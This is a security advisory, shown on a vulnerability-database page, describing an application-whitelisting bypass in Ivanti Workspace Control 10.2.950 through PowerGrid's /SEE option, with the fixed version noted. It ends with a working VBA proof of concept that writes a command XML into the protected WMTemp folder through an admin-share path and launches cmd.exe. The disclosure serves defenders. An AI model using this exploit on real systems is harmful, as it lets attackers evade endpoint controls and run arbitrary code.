Lucene search
+L

Ivanti Workspace Control Application PowerGrid SEE Whitelist Bypass

🗓️ 01 Oct 2018 00:00:00Reported by Yorick KosterType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 49 Views

Ivanti Workspace Control Application PowerGrid SEE Whitelist Bypass version 10.2.950.

Code
`------------------------------------------------------------------------  
Ivanti Workspace Control Application Whitelist bypass via PowerGrid /SEE  
command line argument  
------------------------------------------------------------------------  
Yorick Koster, August 2018  
  
------------------------------------------------------------------------  
Abstract  
------------------------------------------------------------------------  
It was found that the PowerGrid application can be used to run arbitrary  
commands via the /SEE command line option. An attacker can abuse this  
issue to bypass Application Whitelisting in order to run arbitrary code  
on the target machine.  
  
------------------------------------------------------------------------  
Tested versions  
------------------------------------------------------------------------  
This issue was successfully verified on Ivanti Workspace Control version  
10.2.950.0.  
  
------------------------------------------------------------------------  
Fix  
------------------------------------------------------------------------  
This issue is mitigated in Ivanti Workspace Control version 10.3.0.0.  
The fix included in this version prevents the creation of XML files  
within the WMTemp folder, effectively preventing this issue from being  
exploited.  
  
------------------------------------------------------------------------  
Details  
------------------------------------------------------------------------  
https://www.securify.nl/advisory/SFY20180806/ivanti-workspace-control-application-whitelist-bypass-via-powergrid-_see-command-line-argument.html  
  
Workspace Control creates a temporary folder WMTemp under the logged on user's AppData folder. This folder is protected by the FileGuard Minifilter driver, meaning that the logged on user is not allowed to create or modify files within this folder. Some Workspace Control applications will create XML files in this folder, which is allowed by FileGuard. These XML files contain commands that need to be started by PowerGrid. After the XML file is created, PowerGrid is invoked with the /SEE command line argument, and the file name of the XML file that needs to be processed. PowerGrid will load the file from the WMTemp folder, and run the command as is configured in the XML file.  
  
Normally, FileGuard will prevent the execution of arbitrary commands, because the user can't create any new files within the WMTemp folder. By abusing another vulnerability in Workspace Control it is possible to bypass FileGuard to create XML files within the WMTemp file. By doing so it is possible for an attacker to bypass Application Whitelisting in order to run arbitrary commands.  
  
  
Proof of concept  
  
The VBA code below demonstrates this issue. The code tries to run cmd.exe using the /SEE command line argument.  
  
Private Declare PtrSafe Function GetCurrentProcessId Lib "kernel32.dll" () As Integer  
Private Declare PtrSafe Function ProcessIdToSessionId Lib "kernel32.dll" (ByVal dwProcessId As Integer, ByRef pSessionId As Integer) As Integer  
  
Private Sub PowerGridAWLBypass()  
On Error Resume Next  
Dim SessionID As Integer  
Dim appDataPath, resPath  
If ProcessIdToSessionId(GetCurrentProcessId, SessionID) = 0 Then  
SessionID = 1  
End If  
appDataPath = Replace(UCase(Environ("LOCALAPPDATA")), "C:", "\\localhost\C$")  
resPath = Environ("RESPFDIR")  
Dim fso As Object  
Set fso = CreateObject("Scripting.FileSystemObject")  
Dim oFile As Object  
Set oFile = fso.CreateTextFile(appDataPath & "\RES\WM\" & SessionID & "\WMTemp\foo.xml")  
oFile.WriteLine "<foo><file>cmd.exe</file><showcmd>5</showcmd></foo>"  
oFile.Close  
Set fso = Nothing  
Set oFile = Nothing  
Shell resPath & "\pwrgrid.exe /SEE foo.xml", vbNormalFocus  
End Sub  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Oct 2018 00:00Current
49